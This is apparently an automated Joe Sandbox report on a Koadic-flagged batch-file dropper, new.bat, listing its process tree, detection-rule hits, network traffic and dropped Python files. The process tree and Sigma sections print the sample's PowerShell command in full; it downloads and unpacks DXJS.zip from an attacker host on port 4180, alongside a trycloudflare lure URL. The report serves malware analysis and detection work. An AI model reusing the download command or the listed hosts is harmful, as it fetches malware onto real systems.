Edit tour

Windows Analysis Report
new.bat

Overview

General Information

Sample name:	new.bat
Analysis ID:	1483229
MD5:	88758bf0dbf323c08f0bb5771283d5d2
SHA1:	3e382408a01c800e06f1d2664ffac0b2b99d409d
SHA256:	636fecec1bb4c562a86e26adf09aae32e19ddbe24c89799491fe7c47eedd79f9
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Loading BitLocker PowerShell Module

Powershell drops PE file

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cloudflared Tunnels Related DNS Requests

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 652 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 5772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://varieties-follow-speed-easy.trycloudflare.com/kbsfaw.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2000,i,10170332737125429468,6227818781891547312,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

timeout.exe (PID: 5572 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 2964 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8920 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 1772 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
new.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x59:$s2: :~9,1%% 0x63:$s2: :~0,1%% 0x6d:$s2: :~13,1%% 0x78:$s2: :~33,1%% 0x83:$s2: :~8,1%% 0x8d:$s2: :~48,1%% 0x98:$s2: :~8,1%% 0xa2:$s2: :~57,1%% 0xad:$s2: :~57,1% 0xba:$s2: :~62,1%% 0xc5:$s2: :~0,1%% 0xcf:$s2: :~61,1%% 0xda:$s2: :~44,1%% 0xe5:$s2: :~8,1%% 0xef:$s2: :~13,1%% 0xfa:$s2: :~20,1%% 0x105:$s2: :~44,1% 0x114:$s2: :~0,1%% 0x11e:$s2: :~13,1%% 0x129:$s2: :~33,1%%

Sigma Signatures

System Summary

Sigma detected: Cloudflared Tunnels Related DNS Requests

Source: DNS query

Author: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: varieties-follow-speed-easy.trycloudflare.com

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8920, TargetFilename: C:\Users\user\Downloads\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 652, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 2964, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 652, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 2964, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 652, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://momojojo.store:4180/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 2964, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1772, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T21:31:34.563130+0200
SID:	2022930
Source Port:	443
Destination Port:	49719
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) - Source IP: 51.89.199.99 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T21:32:03.768011+0200
SID:	2036752
Source Port:	4180
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T21:32:12.728338+0200
SID:	2022930
Source Port:	443
Destination Port:	49727
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: https://varieties-follow-speed-easy.trycloudflare.com/kbsfaw.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49726 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49727 version: TLS 1.2

Source:	Binary string: D:\a\1\b\bin\win32\py.pdb source: py.exe.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: _ctypes.pyd.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_elementtree.pdb source: _elementtree.pyd.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: _hashlib.pyd.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.12.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-all.html.12.dr, genindex-R.html.12.dr
Source:	Binary string: .pdbrc source: genindex-all.html.12.dr, genindex-Symbols.html.12.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-all.html.12.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-all.html.12.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-all.html.12.dr, genindex-R.html.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_tkinter.pdb source: _tkinter.pyd.12.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-all.html.12.dr, genindex-R.html.12.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: _socket.pyd.12.dr
Source:	Binary string: <li><a href="library/pdb.html#index-2">.pdbrc</a> source: genindex-all.html.12.dr

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 4180
Source: unknown	Network traffic detected: HTTP traffic on port 4180 -> 49711

Source: global traffic

TCP traffic: 192.168.2.5:49711 -> 51.89.199.99:4180

Source: global traffic

TCP traffic: 192.168.2.5:56979 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.16.230.132 104.16.230.132

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49726 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Length: 47876558Last-Modified: Sat, 20 Jul 2024 18:25:37 GMTContent-Type: application/x-zip-compressedDate: Fri, 26 Jul 2024 19:31:19 GMTETag: "f62b09ddebcb6443a6a3241db44d448a-1721499937-47876558"Accept-Ranges: bytesServer: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1Data Raw: 50 4b 03 04 14 00 00 00 00 00 89 ad ae 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 50 4b 03 04 14 00 00 00 08 00 56 76 89 58 6e a0 8c d3 34 34 06 00 18 b1 0b 00 16 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 70 79 2e 65 78 65 ec bd 7b 7c 14 45 b6 00 dc 93 4c c8 00 43 7a c0 89 8c 1a 21 40 d0 68 10 23 03 48 18 d0 f0 98 24 2a 81 09 31 13 10 13 58 17 e2 38 be 22 74 43 5c 09 04 3b b3 d2 16 ed 72 77 61 75 ef d5 bb b0 ea 5d 76 d7 dd c5 15 24 f8 c0 09 c1 3c 14 31 80 8b 28 e8 c6 5d 74 2b 0e 6a 80 18 06 09 e9 ef 9c aa ee c9 24 a0 7b ef f7 bb bf ef f7 fd 71 d1 74 57 57 9d 3a 75 ea d4 a9 f3 a8 aa ee 29 bc 6b a3 90 28 08 82 15 fe 74 5d 10 ea 04 fe 2f 57 f8 d7 ff 1c 16 41 48 19 f9 5a 8a b0 63 e0 7b a3 ea 2c 73 de 1b 75 67 e0 be 15 e9 95 cb 1f be 77 f9 8f 1e 4c ff f1 8f 1e 7a e8 61 29 fd 9e 65 e9 cb e5 87 d2 ef 7b 28 7d f6 bc e2 f4 07 1f 5e ba 6c fc 90 21 83 32 0c 1c 2b 27 4f 9e 33 a1 74 c1 48 f3 ef d1 1b 17 8d 98 c2 ee 65 23 5e 64 f7 bb 47 5c 03 f7 89 47 ca 46 38 d9 fd ee 11 e9 ec be 88 e5 7b 6e 7c 77 64 36 83 5b 38 62 12 c3 b1 70 e4 2c b8 97 1d f1 8d 70 b3 fb 6f 47 f2 fb 5d ec 79 fe 7d 3f 0e 60 3b df d7 27 9f 57 10 e6 58 92 84 ad f9 a9 15 66 5e 9b 90 60 19 6c 49 b9 46 b8 3c 41 10 96 0f 64 79 29 41 b8 38 e0 2f 1b f2 90 5b 98 86 e4 00 a3 8e 79 17 c2 83 19 73 3b 3f 1d 0c 7c ce 5d c7 00 11 36 76 8f dd d8 bf 4d 2d 09 c2 52 96 4a 14 ea fe d3 d6 5b f0 f8 60 c1 75 23 dc b7 0c 16 e8 e5 82 50 f0 46 82 70 a7 f0 fd ff d6 bf 9e d0 77 0c 81 ce 6d 96 ef 01 86 7f e3 a5 65 55 12 dc 7f ec 4c e0 04 61 5f ad 7d 61 d2 05 61 c9 f8 e5 4b 7f 24 fd 48 10 d6 3c 2f f0 be bf 00 f7 2b 13 fa c0 e5 c2 ff e3 39 18 e0 81 bf 36 28 b7 c3 7d cf 45 70 e1 f1 cb 57 2c ff 31 a4 79 5f 41 12 b7 c0 fd 9d 4b e0 5b be ec 81 87 01 10 fb 8e 3c 10 5c 70 0f 0e ee 0f 37 53 f8 bf 7f ff a3 7f 75 d1 6f 67 0a 0d fb 63 ff ea 3a fa 3e 97 90 93 ca 89 a8 e6 75 f8 82 82 2e db 75 d9 46 5b 74 f8 57 69 d5 b3 e9 d3 c7 05 41 d9 e7 22 9f 97 35 fc 00 fc af 62 f0 83 3f f9 5e 78 27 83 77 18 55 2a 62 55 c2 58 a5 45 57 f6 a5 85 c2 62 41 7d 7c d5 3e f5 5d ac be b3 17 c5 98 18 8a 1c 13 45 fa 25 50 f4 a3 37 a8 63 dd b3 3d ba 4e 6c 50 5b 69 b1 14 51 75 aa 05 a8 4e e3 f5 38 7c 9d 4d b0 08 74 bb 98 20 6c 15 da 66 0a ee 7d 6a 6d 86 15 b2 94 e9 ad c0 3e c1 5f 2a d6 3e 0e cc d5 bc 76 86 d6 a6 cd ce 70 06 84 1a 50 2f 94 f4 98 74 7d 0e dc 23 1d 80 59 69 d6 43 5d 62 41 47 a8 6b cd 3c 7d 12 62 00 78 bb 8f 2a 1e 6c d8 a6 4d 9b 2c ee 9a 3d cd e6 a3 b7 ce c0 0c 6b 28 2c 39 e7 ae 03 65 6d 11 56 4c 70 87 2b 54 28 0c 75 c9 1f 56 28 ab 33 6c 82 34 18 6a db 7c 7a ea c6 ec 99 02 d9 90 61 07 b0 c5 e5 ee fd f4 bd 62 68 0f 3a 41 3b 41 71 f4 ed 7f 9d cd 01 53 ab 2d a5 4f 7f 20

Source: global traffic	HTTP traffic detected: GET /kbsfaw.pdf HTTP/1.1Host: varieties-follow-speed-easy.trycloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: varieties-follow-speed-easy.trycloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://varieties-follow-speed-easy.trycloudflare.com/kbsfaw.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kbsfaw.pdf HTTP/1.1Host: varieties-follow-speed-easy.trycloudflare.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ubP8C71FgNOy+2o&MD=k2CbZ8Lm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ubP8C71FgNOy+2o&MD=k2CbZ8Lm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /DXJS.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: momojojo.store:4180Connection: Keep-Alive

Source: math.html.12.dr

String found in binary or memory: s video <a class="reference external" href="https://www.youtube.com/watch?v=jG7vhMMXagQ">Pi is (still) equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: varieties-follow-speed-easy.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: momojojo.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1722022261799&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 19:31:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 8a96cf2dcaa30f60-EWRCF-Cache-Status: DYNAMICServer: cloudflare

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testsinglephase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_testclinic.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Python\Python312\DLLs\_overlapped.pyd	Jump to dropped file
